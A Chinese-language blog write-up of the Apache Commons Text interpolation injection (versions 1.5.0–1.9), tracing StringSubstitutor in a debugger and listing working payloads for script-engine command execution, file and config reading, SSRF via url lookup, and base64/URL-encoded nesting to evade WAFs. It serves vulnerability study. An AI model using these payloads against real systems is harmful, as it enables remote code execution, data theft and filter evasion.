打 rwctf 体验赛遇到的, 顺带写一下
总体感觉跟 log4j2 jndi 注入的利用方式很像, 毕竟都是 apache 的库
漏洞分析
The Commons Text library provides additions to the standard JDK’s text handling. Our goal is to provide a consistent set of tools for processing text generally from computing distances between Strings to being able to efficiently do String escaping of various type
官方文档: https://commons.apache.org/proper/commons-text/userguide.html
影响版本: 1.5.0 - 1.9
添加依赖
1
2
3
4
5
|
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
|
demo
1
2
3
4
5
6
7
8
9
10
11
12
|
package com.example;
import org.apache.commons.text.StringSubstitutor;
public class Demo {
public static void main(String[] args) throws Exception{
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String code = "${script:js:java.lang.Runtime.getRuntime().exec(\"calc\")}";
String res = interpolator.replace(code);
System.out.println(res);
}
}
|
![](https://img.exp10it.io/img/202301071330605.png)
在 interpolator.replace(code)
处打个断点开始调试
首先进入 StringSubstitutor#replace
![](https://img.exp10it.io/img/202301071331766.png)
跟进 substitute 方法
![](https://img.exp10it.io/img/202301071332180.png)
prefixMatcher 和 suffixMacher 分别为 ${
和 }
, 用于标记插值表达式
valueDelimMatcher 的值为 :-
, 这里我一开始以为它能够跟 log4j2 一样通过 ${a:-j}ndi
来拼接关键词, 但后来发现实际上并不支持这种使用方式, 一时半会也没想出来怎么去利用…
后面是一堆循环和 if 来解析表达式
![](https://img.exp10it.io/img/202301071452066.png)
然后会来到 this.resolveVariable
这个方法
![](https://img.exp10it.io/img/202301071454945.png)
这里有一个 stringLookupMap, 里面对应了很多 lookup class, 后续利用也都是从这些 class 来入手
![](https://img.exp10it.io/img/202301071459485.png)
默认的 InterpolatorStringLookup 会截取 prefix, 然后从 stringLookupMap 中取得对应的 lookup class 并调用其 lookup 方法
![](https://img.exp10it.io/img/202301071500325.png)
ScriptStringLookup 会截取 engineName 和 script, 然后创建对应的 ScriptEngine
在 return 的时候会调用 scriptEngine.eval(script)
从而造成任意代码执行
利用方式
官方文档中给出的几种 lookup 方式
https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html
https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html
![](https://img.exp10it.io/img/202301071446141.png)
![](https://img.exp10it.io/img/202301071507233.png)
基本所有的利用方法都已经在这篇文章里面给出了, 总结的很全
https://forum.butian.net/share/1973
下面就举出几个常用的 lookup class 来分析一下
ScriptStringLookup
很简单的利用 ScriptEngineManager 来执行命令, 上面已经分析过了
![](https://img.exp10it.io/img/202301071524699.png)
常规的弹计算器
1
|
${script:js:java.lang.Runtime.getRuntime().exec("calc")}
|
结合 Scanner 或者 BufferedReader 实现回显
1
2
3
|
${script:js:new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder("whoami").start().getInputStream(), "GBK")).readLine()} // 只能读取一行
${script:js:new java.util.Scanner(new java.lang.ProcessBuilder("ipconfig").start().getInputStream(), "GBK").useDelimiter("xzxzxz").next()}
|
注意类名要写全 (包括 java.lang
)
ResourceBundleStringLookup
ResourceBundle 的利用方式最初是在浅蓝师傅的这篇文章中学到的
https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
利用它可以读取 classpath 下的 .properties
配置文件, 无需知道绝对路径
一个很经典的例子就是 springboot 的 application.properties
文件
1
|
${resourcebundle:application:user.name}
|
![](https://img.exp10it.io/img/202301071531064.png)
FileStringLookup
读取文件
需要指定 charsetname
![](https://img.exp10it.io/img/202301071536990.png)
1
|
${file:utf-8:d:/test.txt}
|
![](https://img.exp10it.io/img/202301071537153.png)
UrlStringLookup
发起 url 请求
同样需要指定 charsetname
![](https://img.exp10it.io/img/202301071538383.png)
可以利用 http 和 file 协议, 造成 ssrf 或者读取本地文件
1
2
3
|
${url:utf-8:http://127.0.0.1:8000/}
${url:utf-8:file:///d:/test.txt}
|
![](https://img.exp10it.io/img/202301071540923.png)
编码绕过
主要利用 urlDecoder 和 base64Decoder
![](https://img.exp10it.io/img/202301071546705.png)
![](https://img.exp10it.io/img/202301071547638.png)
原因在于 StringSubstitutor#substitute
支持递归解析
![](https://img.exp10it.io/img/202301071550727.png)
所以可以利用编码 + 嵌套的方式来绕过某些 waf 对 prefix 的检测
base64Decoder
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
package com.example;
import org.apache.commons.text.StringSubstitutor;
import java.util.Base64;
public class Demo {
public static void main(String[] args) throws Exception{
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String code = "${script:js:java.lang.Runtime.getRuntime().exec(\"calc\")}";
String poc = "${base64Decoder:" + Base64.getEncoder().encodeToString(code.getBytes()) + "}";
String res = interpolator.replace(poc);
System.out.println(res);
}
}
|
1
|
${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImNhbGMiKX0=}
|
![](https://img.exp10it.io/img/202301071552001.png)
urlDecoder
1
|
${urlDecoder:%24%7b%73%63%72%69%70%74%3a%6a%73%3a%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%7d}
|
![](https://img.exp10it.io/img/202301071556427.png)
当然多套几层也是可以的
参考文章
https://paper.seebug.org/2025/
https://paper.seebug.org/1993/
https://forum.butian.net/share/1973
https://blog.csdn.net/qq_34101364/article/details/127338170